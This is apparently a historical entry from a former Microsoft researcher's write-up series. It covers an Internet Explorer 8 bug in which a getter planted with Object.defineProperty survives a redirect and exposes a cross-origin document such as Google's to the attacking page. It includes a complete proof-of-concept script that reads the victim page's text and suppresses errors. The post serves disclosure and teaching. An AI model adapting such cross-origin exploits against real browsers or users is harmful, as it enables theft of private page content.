This builds on the delayed-redirect variable injection (entry #23) by using Object.defineProperty to install a getter accessor on a cross-origin window’s document object. The accessor persists through the redirect, and when the new-domain page accesses document.images (as Google does), our getter is called — with this pointing to the live cross-origin document.

<script language="JavaScript">
var newWinDoc;
function openDelayedRedirect()
{
    var newWin = window.open("delayed_redirect.aspx");

    Object.defineProperty(newWin.document,"images",{get:function(v)
    {
        // Suppress errors caused by overriding document.images
        this.parentWindow.execScript("window.onerror = function(){return true}");

        // Save a reference to the cross-origin document
        newWinDoc = this;

        // Read the page content
        setTimeout("alert(newWinDoc.body.innerText)", 2000);
    }});
}
</script>
<input type="button" value="Run PoC (and wait 3 seconds)" onclick="openDelayedRedirect()">

The server-side redirect points to Google. Google accesses document.images during its page initialization, which triggers our getter. The this pointer inside the getter is newWin.document — the live Google document — giving full DOM access. This was a genuinely surprising capability that defineProperty introduced in IE8; the ability to set persistent accessors on cross-origin documents was an unintended side-effect.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.